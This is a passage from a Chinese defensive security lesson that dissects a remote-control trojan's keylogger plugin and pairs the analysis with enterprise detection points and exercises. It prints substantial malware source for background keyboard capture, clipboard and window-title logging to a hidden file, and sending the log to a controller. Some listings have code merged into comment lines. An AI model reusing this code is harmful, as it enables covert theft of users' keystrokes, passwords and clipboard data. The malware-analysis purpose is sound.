        NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD dwSize = GetFileSize(hFile, NULL);
    CloseHandle(hFile);

    // 防御分析注释:超50 MB 后删除,说明它不是普通调试输出,
    // 而是一个持续增长、带上限控制的本地记录文件    if (dwSize > 1024 * 1024 * 50)
        DeleteFile(szPath);

    ReleaseMutex(m_hMutex);

    // 防御分析注释:后DirectInput 初始化与在线记录相似    // 仍然使用 GUID_SysKeyboard、DISCL_BACKGROUND 和缓冲读取    HRESULT hr = DirectInput8Create(instance, DIRECTINPUT_VERSION,
        IID_IDirectInput8, (void**)&mDInput, 0);
    hr = mDInput->CreateDevice(GUID_SysKeyboard, &mKeyboard, 0);
    hr = mKeyboard->SetDataFormat(&c_dfDIKeyboard);
    hr = mKeyboard->SetCooperativeLevel(window, DISCL_NONEXCLUSIVE | DISCL_BACKGROUND);
    hr = mKeyboard->Acquire();

    return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

所有离线内容最终都通过 SaveToFile 追加到同一个文件。

// 源码位置:主插件\登录模块\登录模块\Input.cpp:210-222
// 防御分析注释:该函数以追加方式写入,并使FILE_ATTRIBUTE_HIDDEN// 企业侧应关注公共数据目录下隐藏属性、持续增长、由非业务进程写入的文本文件void Input::SaveToFile(TCHAR* lpBuffer)
{
    WaitForSingleObject(m_hMutex, INFINITE);

    HANDLE hFile = CreateFile(szPath, GENERIC_WRITE, FILE_SHARE_WRITE,
        NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
        return;

    DWORD dwBytesWrite = 0;
    SetFilePointer(hFile, 0, 0, FILE_END);
    WriteFile(hFile, lpBuffer, lstrlen(lpBuffer) * sizeof(TCHAR), &dwBytesWrite, NULL);

    CloseHandle(hFile);
    ReleaseMutex(m_hMutex);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

savekerboard() 写入三类内容:剪贴板、窗口标题、按键文本。

// 源码位置:主插件\登录模块\登录模块\Input.cpp:251-360
// 防御分析注释:这是离线键盘记录的主循环。它没有检查停止标志,
// 因此一旦进入循环,注册表关闭开关对当前循环的影响有限void Input::savekerboard()
{
    TCHAR* pszKey = new TCHAR[20];
    TCHAR szClipboard_old[1024] = { 0 };
    TCHAR szTemp[1024] = { 0 };

    while (TRUE)
    {
        Sleep(1);

        if (GetTickCount() - m_dwLastCapture > 1500)
        {
            InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());

            // 防御分析注释:离线记录读取的CF_UNICODETEXT            // 与在线剪贴板线程读取 CF_TEXT 不同            OpenClipboard(NULL);
            HGLOBAL hglb = GetClipboardData(CF_UNICODETEXT);
            if (hglb != NULL)
            {
                LPCTSTR lpstr = (LPCTSTR)GlobalLock(hglb);
                if (lpstr != NULL)
                {
                    // 防御分析注释:剪贴板变化后写[剪切] 标记                    // 这可能包含密码、令牌、客户资料或内部地址                    swprintf_s(szTemp, ARRAYSIZE(szTemp),
                        _T("\r\n[剪切]%s\r\n"), lpstr);
                    Input::SaveToFile(szTemp);
                }
                GlobalUnlock(hglb);
            }
            CloseClipboard();
        }

        // 防御分析注释:窗口变化时写入 [标题:]、[时间:] [内容:]        // 用于给后续按键文本增加上下文        if (IsWindowsFocusChange())
            SaveToFile(_T("[内容:]"));

        Input::UpdateInputData();

        // 防御分析注释:下面源码会遍历 didod,把按键事件转换为文本        // 为避免提供可直接复用的采集实现,这里不展开完整映射表        // 防御侧关注“后DirectInput -> 文本-> SaveToFile”的链路。
        if (lstrlen(pszKey))
        {
            Input::SaveToFile(pszKey);
            ZeroMemory(pszKey, 20 * 2);
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

窗口标题写入单独封装为 IsWindowsFocusChange()

// 源码位置:主插件\登录模块\登录模块\Input.cpp:227-249
// 防御分析注释:窗口标题让按键记录带上业务上下文// 比如浏览器页面、即时通信窗口、远程桌面窗口、业务系统窗口都会暴露出来BOOL Input::IsWindowsFocusChange()
{
    hFocus = GetForegroundWindow();
    GetWindowText(hFocus, WindowCaption, sizeof(WindowCaption));

    if (hFocus != PreviousFocus && lstrlen(WindowCaption) > 0)
    {
        SYSTEMTIME s;
        GetLocalTime(&s);
        wsprintf(temp, _T("\r\n[标题:]%s\r\n[时间:]%d-%d-%d  %d:%d:%d\r\n"),
            WindowCaption,
            s.wYear, s.wMonth, s.wDay,
            s.wHour, s.wMinute, s.wSecond);

        SaveToFile(temp);
        PreviousFocus = hFocus;
        return TRUE;
    }
    return FALSE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# 12.5 键盘插件:读取离线键盘记录并回传

键盘插件本身不负责写离线键盘记录,它负责读取同一个 DisplaySessionContainers.log 文件,并把内容封装成 TOKEN_KEYBOARD_OFFLINEDATA

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:209-252
// 防御分析注释:COMMAND_KEYBOARD_GETOFFLINE 读取的是离线键盘记录文件
// 这里的“离线”表示本地先记录,后续再被读取回传;不是普通程序记录
case COMMAND_KEYBOARD_GETOFFLINE:
{
    NotifyDialogIsOpen();

    WaitForSingleObject(m_hMutex, INFINITE);
    HANDLE hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        DWORD dwSize = GetFileSize(hFile, NULL) + 1 + sizeof(TCHAR);
        BYTE* lpBuffer = new BYTE[dwSize];
        memset(lpBuffer, 0, dwSize);

        // 防御分析注释:第 1 字节是协议令牌,后面是本地记录文件内容
        lpBuffer[0] = TOKEN_KEYBOARD_OFFLINEDATA;
        ReadFile(hFile, lpBuffer + 1, dwSize - 1, &dwBytesRead, NULL);
        ReleaseMutex(m_hMutex);

        Send((LPBYTE)lpBuffer, dwSize);
        SAFE_DELETE_AR(lpBuffer);
        CloseHandle(hFile);
    }
    else
    {
        ReleaseMutex(m_hMutex);
        BYTE bToken = TOKEN_KEYBOARD_OFFLINEDATA_ERROR;
        Send((LPBYTE)&bToken, sizeof(bToken));
    }
}
break;

case COMMAND_KEYBOARD_DEL:
{
    // 防御分析注释:删除的是本地离线键盘记录文件
    HANDLE m_hMutex = CreateMutex(NULL, TRUE, szPath);
    WaitForSingleObject(m_hMutex, INFINITE);
    DeleteFile(szPath);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

主控端接收到 TOKEN_KEYBOARD_OFFLINEDATA 后,把内容显示到离线记录编辑框;接收 TOKEN_KEYBOARD_ONLINEDATA 时,显示到在线记录编辑框;接收到 TOKEN_KEYBOARD_CLIPBOARD 时,显示到剪贴板区域。

// 源码位置:主控\Quick\KeyBoardDlg.cpp:173-175,191-238
// 防御分析注释:主控端窗口初始化后会请求读取离线键盘记录
// 这里仍然只做源码阅读,不提供任何实际操作步骤
BYTE bToken = COMMAND_KEYBOARD_GETOFFLINE;
m_iocpServer->Send(m_pContext, &bToken, 1);

void CKeyBoardDlg::OnReceiveComplete(void)
{
    switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
    {
    case TOKEN_KEYBOARD_OFFLINEDATA:
    {
        // 防御分析注释:离线键盘记录文件内容显示在 m_edit_offline        CString strResult = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(1);
        m_edit_offline.SetWindowText(strResult);
    }
    break;

    case TOKEN_KEYBOARD_ONLINEDATA:
    {
        // 防御分析注释:实时按键和窗口标题追加到在线区域        CString strResult = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(1);
        int len = m_edit_online.GetWindowTextLength();
        m_edit_online.SetSel(len, len);
        m_edit_online.ReplaceSel(strResult);
    }
    break;

    case TOKEN_KEYBOARD_CLIPBOARD:
    {
        // 防御分析注释:在线剪贴板内容显示在剪贴板区域        CString strResult;
        strResult += _T("\r\n");
        strResult += (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(1);
        int len = m_edit_clipboard.GetWindowTextLength();
        m_edit_clipboard.SetSel(len, len);
        m_edit_clipboard.ReplaceSel(strResult);
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

这条链路完整串起来就是:

  1. 构建期配置或运行期注册表状态决定是否允许离线键盘记录?

  2. 登录模块启动 KeyLoggerThreadProc,满足条件后进入 Input::savekerboard()

  3. savekerboard() 把窗口标题、剪贴板和按键文本追加到 DisplaySessionContainers.log

  4. 键盘插件收到读取命令后打开同一文件,封装成 TOKEN_KEYBOARD_OFFLINEDATA

  5. 主控端 KeyBoardDlg 把内容显示到离线记录区域。 这里最值得新手注意的是:离线键盘记录不是一个简单“文本缓存”,而是一套由构建配置、注册表状态、后台线程、本地隐藏文件和主控端读取逻辑组成的机制。企业侧要同时检查这些环节,尤其要关?#ifdef AUTO_OPEN_KEYLOGGERHKCU\key\openDisplaySessionContainers.log DirectInput 后台读取之间的时间关联。

# 13. 剪贴板写回:为什么属于高风险行为

源码中存在更新本地剪贴板的函数。合法软件也可能写剪贴板,例如用户点击“复制”。但如果一个后台进程在没有用户动作的情况下读取并改写剪贴板,就应视为高风险。

// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp:387-403
// 防御分析注释:该函数会清空并写入剪贴板// 本课只用于说明检测点:OpenClipboard、EmptyClipboard、SetClipboardDatavoid CKeyboardManager::UpdateLocalClipboard(char* buf, int len)
{
    if (!::OpenClipboard(GetDesktopWindow()))
        return;

    ::EmptyClipboard();

    HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, len + 10);
    if (hglbCopy != NULL)
    {
        LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
        memcpy(lptstrCopy, buf, len);
        GlobalUnlock(hglbCopy);
        SetClipboardData(CF_TEXT, hglbCopy);
        GlobalFree(hglbCopy);
    }

    CloseClipboard();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

检测时要重点区分两类场景:

场景 风险判断
用户主动点击复制按钮,前台应用写剪贴 通常可解
后台未知进程读取剪贴板后又写回剪贴板 高风险
剪贴板内容被正则规则替换 高风险
剪贴板写回后立刻发生网络发 高风险

# 14. 企业检测点

14. 企业检测点(配图)

建议5 个层面建立检测:

层面 检测点 说明
主机 DirectInput8CreateGUID_SysKeyboardDISCL_BACKGROUND 后台输入采集信号
剪贴板侧 OpenClipboardGetClipboardDataSetClipboardData 读取和写回都要记
窗口 GetForegroundWindowGetWindowTextW 采集窗口上下
文件 公共数据目录下异常 .log 文件 关注持续增长、隐藏命名、非常规进程写入
注册表侧 HKCU\key\open 类异常状态项 关注无业务含义的短路径和值名
网络 输入事件后出现小包、持续回 API 行为做时间关
进程 未知 DLL 插件线程、长时间循环 和模块加载、线程创建关

更高质量的检测不是单点告警,而是事件关联。

  1. 同一进程建立外联连接?

  2. 连接后创建长期线程?

  3. 线程访问键盘或剪贴板?

  4. 同进程写入本地记录文件?

  5. 随后出现小包持续发送。 满足 3 个以上条件时,就应进入重点调查。

# 15. 合法练习:

  1. 不运行插件,只阅读源码,画出 MainThread -> CKeyboardManager -> KeyLoggerThreadProc -> SendOnlineDate 的调用链?

  2. 列出本课源码中所有剪贴板相关 API,并说明每个 API 的防御含义?

  3. 设计一条检测逻辑:同一进程10 秒内出现后台输入读取、剪贴板访问和外联发送时触发告警?

  4. 站在合法远程协助产品设计者角度,写出 5 条避免误用输入采集能力的产品约束?

  5. 给企业终端制定一份敏感输入保护策略,覆盖密码框、浏览器、即时通信、剪贴板和远程会话。

# 16. 本课小结

键盘记录模块的核心不是某一API,而是一条敏感数据链:连接建立后创建管理器,管理器启动在线输入线程和剪贴板线程;登录模块根据构建配置或注册表状态启动离线键盘记录,把输入、窗口标题和剪贴板写入本地记录文件;键盘插件再按命令读取该文件并回传。防御侧要把输入 API、剪贴板 API、文件写入、注册表状态和网络连接关联起来看,才能识别这类风险。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>